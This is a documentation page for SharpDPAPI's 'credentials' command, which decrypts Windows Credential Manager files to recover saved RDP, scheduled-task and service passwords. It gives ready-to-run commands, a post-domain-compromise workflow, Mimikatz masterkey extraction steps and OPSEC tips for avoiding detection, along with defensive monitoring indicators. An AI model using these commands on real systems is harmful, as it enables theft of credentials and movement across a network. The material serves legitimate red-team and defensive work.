> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# credentials

> Decrypt Windows Credential Manager credential files

## Overview

The **credentials** command searches for Windows Credential Manager credential files and decrypts them using masterkeys, domain backup keys, or user credentials. This reveals saved credentials for RDP connections, scheduled tasks, and other applications.

<Info>
  Credential files are stored in `%LOCALAPPDATA%\Microsoft\Credentials\` and contain sensitive information like usernames and passwords for various Windows services.
</Info>

## Basic Usage

```bash theme={null}
# Decrypt with domain backup key
SharpDPAPI.exe credentials /pvk:key.pvk

# Decrypt with masterkey mappings
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# Decrypt with user password
SharpDPAPI.exe credentials /password:Password123!

# Target specific credential file
SharpDPAPI.exe credentials /target:FILE {GUID}:SHA1
```

## Command Arguments

### Decryption Methods

<Tabs>
  <Tab title="Domain Backup Key">
    ```bash theme={null}
    # Base64-encoded key
    SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...

    # Key file
    SharpDPAPI.exe credentials /pvk:key.pvk
    ```

    First decrypts user masterkeys, then uses them to decrypt credential files.
  </Tab>

  <Tab title="Masterkey Mappings">
    ```bash theme={null}
    # Inline masterkeys
    SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

    # Masterkey file
    SharpDPAPI.exe credentials /mkfile:masterkeys.txt
    ```

    Directly uses pre-decrypted masterkeys for credential decryption.
  </Tab>

  <Tab title="User Credentials">
    ```bash theme={null}
    # Plaintext password
    SharpDPAPI.exe credentials /password:Password123!

    # NTLM hash
    SharpDPAPI.exe credentials /ntlm:8846F7EAEE8FB117AD06BDD830B7586C

    # DPAPI credkey
    SharpDPAPI.exe credentials /credkey:abc123...
    ```

    Decrypts user masterkeys first, then credential files.
  </Tab>

  <Tab title="RPC Decryption">
    ```bash theme={null}
    # Decrypt via domain controller
    SharpDPAPI.exe credentials /rpc
    ```

    Asks domain controller to decrypt masterkeys remotely.
  </Tab>
</Tabs>

### Targeting Options

| Argument         | Description                                                 |
| ---------------- | ----------------------------------------------------------- |
| `/target:FILE`   | Target specific credential file                             |
| `/target:FOLDER` | Target specific folder of credentials                       |
| `/server:SERVER` | Triage remote server (requires admin access + pvk/password) |

<Warning>
  When using `/target:FILE`, you must provide {GUID}:SHA1 masterkey mappings. When using `/target:FOLDER` with masterkeys, the folder must also contain the DPAPI masterkey files.
</Warning>

## Execution Context

<Tabs>
  <Tab title="Elevated">
    When run with administrative privileges:

    * Triages **all users** on the system
    * Accesses credential files in all user profiles
    * Maximum credential recovery
  </Tab>

  <Tab title="Unelevated">
    When run without elevation:

    * Only triages **current user**
    * Limited to current user's credential files
    * More OPSEC-friendly
  </Tab>
</Tabs>

## Example: Using Masterkey Mappings

```bash theme={null}
SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...
```

**Output:**

```
[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users

Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!
```

<Tip>
  Get masterkey mappings using Mimikatz's `sekurlsa::dpapi` command or SharpDPAPI's `masterkeys` command.
</Tip>

## Example: Using Domain Backup Key

```bash theme={null}
SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...
```

**Output:**

```
[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
{feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903a9b61c42e6c9ab0f4

[*] Triaging Credentials for ALL users

Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!
```

## Types of Credentials Found

The credentials command can reveal various types of saved credentials:

<AccordionGroup>
  <Accordion title="RDP Credentials">
    * **TargetName**: `Domain:target=TERMSRV/IP_OR_HOSTNAME`
    * Contains saved Remote Desktop connection credentials
    * Stored when users save RDP passwords
  </Accordion>

  <Accordion title="Scheduled Task Credentials">
    * **TargetName**: `Domain:batch=TaskScheduler:Task:{GUID}`
    * Credentials for scheduled tasks running as specific users
    * High-value targets for persistence
  </Accordion>

  <Accordion title="Windows Services">
    * Service account credentials
    * RunAs credentials for applications
    * Network authentication credentials
  </Accordion>

  <Accordion title="Generic Credentials">
    * Application-specific saved credentials
    * Network share credentials
    * Other Windows Credential Manager entries
  </Accordion>
</AccordionGroup>

## Common Scenarios

<AccordionGroup>
  <Accordion title="Post-Domain Compromise">
    After obtaining domain admin and the backup key:

    ```bash theme={null}
    # 1. Retrieve backup key
    SharpDPAPI.exe backupkey /file:key.pvk

    # 2. Decrypt credentials locally
    SharpDPAPI.exe credentials /pvk:key.pvk

    # 3. Decrypt credentials on remote systems
    SharpDPAPI.exe credentials /pvk:key.pvk /server:fileserver.domain.com
    SharpDPAPI.exe credentials /pvk:key.pvk /server:workstation.domain.com
    ```
  </Accordion>

  <Accordion title="Using Mimikatz-Extracted Masterkeys">
    Extract masterkeys with Mimikatz and use for decryption:

    ```bash theme={null}
    # 1. In Mimikatz
    # mimikatz# privilege::debug
    # mimikatz# sekurlsa::dpapi

    # 2. Format as {GUID}:SHA1 {GUID}:SHA1
    # 3. Run SharpDPAPI
    SharpDPAPI.exe credentials {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad...
    ```
  </Accordion>

  <Accordion title="Specific User Credentials">
    When you have compromised a user's password:

    ```bash theme={null}
    # Using plaintext password
    SharpDPAPI.exe credentials /password:Password123!

    # Using NTLM hash
    SharpDPAPI.exe credentials /ntlm:8846F7EAEE8FB117AD06BDD830B7586C
    ```
  </Accordion>

  <Accordion title="Offline/Forensic Analysis">
    Analyzing copied credential files:

    ```bash theme={null}
    # Target specific folder with masterkeys
    SharpDPAPI.exe credentials /target:C:\Evidence\Credentials\ /pvk:key.pvk

    # Target specific file with known masterkey
    SharpDPAPI.exe credentials /target:C:\Evidence\48C08A704ADBA03A93CD7EC5B77C0EAB {885342c6-028b-4ecf-82b2-304242e769e0}:SHA1...
    ```
  </Accordion>
</AccordionGroup>

## Credential File Structure

Credential files are located at:

```
%LOCALAPPDATA%\Microsoft\Credentials\<RANDOM_HEX_NAME>
```

Each file contains:

* **guidMasterKey**: GUID of masterkey used for encryption
* **Description**: Type of credential data
* **TargetName**: What the credential is for
* **UserName**: Stored username
* **Credential**: Encrypted password (decrypted by SharpDPAPI)

## Detection Considerations

<Warning>
  Accessing credential files can trigger security monitoring and EDR alerts.
</Warning>

**Host-Based Indicators:**

* Reading files from `%LOCALAPPDATA%\Microsoft\Credentials\`
* Non-standard processes accessing Credential Manager files
* Bulk enumeration of credential files across multiple user profiles
* Access from unauthorized processes

**Defensive Monitoring:**

* Monitor access to `%LOCALAPPDATA%\Microsoft\Credentials\` directories
* Alert on bulk credential file access
* Track processes reading multiple users' credential data
* Detect credential file access outside user context
* Monitor for LSASS access (when extracting masterkeys)

**Event Log Indicators:**

```
Event ID: 4663 (File Access)
Object Name: *\Microsoft\Credentials\*
Process Name: SharpDPAPI.exe or suspicious processes
```

## Related Commands

<CardGroup cols={2}>
  <Card title="masterkeys" icon="key" href="/ghostpack-docs/SharpDPAPI-mdx/commands/masterkeys">
    Decrypt user masterkeys first
  </Card>

  <Card title="vaults" icon="vault" href="/ghostpack-docs/SharpDPAPI-mdx/commands/vaults">
    Decrypt Windows Vault data
  </Card>

  <Card title="triage" icon="list-check" href="/ghostpack-docs/SharpDPAPI-mdx/commands/triage">
    Comprehensive user DPAPI triage
  </Card>

  <Card title="backupkey" icon="download" href="/ghostpack-docs/SharpDPAPI-mdx/commands/backupkey">
    Retrieve domain backup key
  </Card>
</CardGroup>

## Tips

<Accordion title="Maximizing Credential Recovery">
  * Run elevated to access all users' credentials
  * Use domain backup key for comprehensive coverage
  * Check both current and archived credential files
  * Correlate TargetName with network infrastructure
  * Pay special attention to scheduled task credentials
</Accordion>

<Accordion title="OPSEC Considerations">
  * Run unelevated to only access current user (less noisy)
  * Use `/mkfile` instead of inline masterkeys to avoid command line logging
  * Redirect output to file with `/consoleoutfile` to minimize artifacts
  * Target specific credential files if you know what you're looking for
  * Avoid bulk enumeration if stealth is required
</Accordion>

<Accordion title="Troubleshooting">
  **No credentials decrypted:**

  * Verify masterkeys or backup key is correct
  * Ensure credential files exist in target directories
  * Check that you have read permissions
  * Confirm the GUID in credential file matches your masterkeys

  **Partial decryption:**

  * Users may have credentials encrypted with different masterkeys
  * Extract more masterkeys using Mimikatz `sekurlsa::dpapi`
  * Try using domain backup key for complete coverage
  * Check for older/archived masterkey files
</Accordion>